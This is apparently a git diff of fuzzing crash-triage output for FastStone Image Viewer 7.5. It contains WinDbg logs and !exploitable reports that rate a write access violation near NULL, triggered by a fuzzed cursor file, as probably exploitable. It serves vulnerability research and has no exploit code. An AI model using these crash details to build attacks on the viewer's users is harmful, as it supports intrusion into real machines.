C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(330.9a4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e27b19 edx=00000000 esi=00000000 edi=0fc40fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.710084804326605920000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.51208e+012 1.19615e-025 8.14344e+012 -8.79011e-033 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f08130 07e85930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00372000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00372000 9c9c5cd7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c9 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00372000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68834/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68834/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..7d8b427 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68834/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/69188/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/69188/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/69188/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/69188/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/69188/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..61a9403 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/69188/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/69188/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/69188/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..031b7a5 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/69188/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xC30: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xC30: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73da0000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73da0000 00000000`73f04000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(c30.adc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f17b19 edx=00000000 esi=00000000 edi=07d40fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.752306050843034720000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.261350000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-5.46919e-020 -0.000199558 -1.15442e+008 5.05014e-011 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ff8130 07f75930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002fb000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002fb000 916db9d6 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a8 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002fb000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/69188/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/69188/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..031b7a5 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/69188/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xC30: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xC30: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 